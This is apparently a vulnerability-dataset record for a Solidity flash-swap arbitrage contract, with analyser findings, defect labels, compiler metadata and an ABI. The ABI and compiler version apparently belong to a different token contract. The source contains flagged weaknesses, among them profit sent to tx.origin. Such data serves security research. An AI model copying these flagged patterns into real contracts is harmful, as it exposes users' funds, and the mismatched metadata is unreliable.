"SOLIDITY_VISIBILITY", "line": 790, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 791, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 792, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 792, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 792, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 795, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 796, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 796, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 796, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 798, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 799, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 799, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 799, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 801, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 802, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 802, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 802, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 805, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 836, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 837, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 838, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 842, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 843, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 844, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 849, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 850, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 851, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1017, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"BuyBackTriggered","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"OwnerForcedSwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"ethAmountInWei","type":"uint256"}],"name":"buyBackTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTotalDevFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalDevFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
v0.8.9+commit.e5eed63a
true
200
Default
MIT
false
ipfs://d2db0c330340990d9dd21886b487391abe165504ffe1ec983d96af4ee06301e7
Arbitrage
0xb510e5090e7b62d5bf4c86f01ea203ac14e40e56
Solidity
// File: /var/www/cryptobot/flashloaner-contract/contracts/Arbitrage.sol pragma solidity ^0.6.6; import './UniswapV2Library.sol'; import './interfaces/IUniswapV2Router02.sol'; import './interfaces/IUniswapV2Pair.sol'; import './interfaces/IUniswapV2Factory.sol'; import './interfaces/IERC20.sol'; contract Arbitrage { address public factory; uint constant deadline = 10 days; IUniswapV2Router02 public sushiRouter; constructor(address _factory, address _sushiRouter) public { factory = _factory; sushiRouter = IUniswapV2Router02(_sushiRouter); } function startArbitrage( address token0, address token1, uint amount0, uint amount1 ) external { address pairAddress = IUniswapV2Factory(factory).getPair(token0, token1); require(pairAddress != address(0), 'This pool does not exist'); IUniswapV2Pair(pairAddress).swap( amount0, amount1, address(this), bytes('not empty') ); } function uniswapV2Call( address _sender, uint _amount0, uint _amount1, bytes calldata _data ) external { address[] memory path = new address[](2); uint amountToken = _amount0 == 0 ? _amount1 : _amount0; address token0 = IUniswapV2Pair(msg.sender).token0(); address token1 = IUniswapV2Pair(msg.sender).token1(); require( msg.sender == UniswapV2Library.pairFor(factory, token0, token1), 'Unauthorized' ); require(_amount0 == 0 || _amount1 == 0); path[0] = _amount0 == 0 ? token1 : token0; path[1] = _amount0 == 0 ? token0 : token1; IERC20 token = IERC20(_amount0 == 0 ? token1 : token0); token.approve(address(sushiRouter), amountToken); uint amountRequired = UniswapV2Library.getAmountsIn( factory, amountToken, path )[0]; uint amountReceived = sushiRouter.swapExactTokensForTokens( amountToken, amountRequired, path, msg.sender, deadline )[1]; IERC20 otherToken = IERC20(_amount0 == 0 ? token0 : token1); otherToken.transfer(msg.sender, amountRequired); otherToken.transfer(tx.origin, amountReceived - amountRequired); } } // File: /var/www/cryptobot/flashloaner-contract/contracts/UniswapV2Library.sol pragma solidity >=0.5.0; import './interfaces/IUniswapV2Pair.sol'; import "@openzeppelin/contracts/math/SafeMath.sol"; library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // File: /var/www/cryptobot/flashloaner-contract/contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: /var/www/cryptobot/flashloaner-contract/contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function createPair(address tokenA, address tokenB) external returns (address pair); } // File: /var/www/cryptobot/flashloaner-contract/contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: /var/www/cryptobot/flashloaner-contract/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: /var/www/cryptobot/flashloaner-contract/contracts/interfaces/IUniswapV2Router02.sol pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["79", "78"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["77"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["262", "23"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [116, 117, 118, 119, 120, 121]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [104, 101, 102, 103]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [60, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [85, 86, 87, 88, 89]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [72, 73, 70, 71]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [170, 171, 172, 173]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [24, 25, 26, 27, 28]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [210, 211, 212, 213]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [192, 193, 190, 191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [152, 153, 154, 155]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [136, 137, 138, 135]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [45, 46, 47, 48, 49, 50, 51, 52, 53]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [35, 36, 37, 38]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/math/SafeMath.sol": [3]}}]
[]
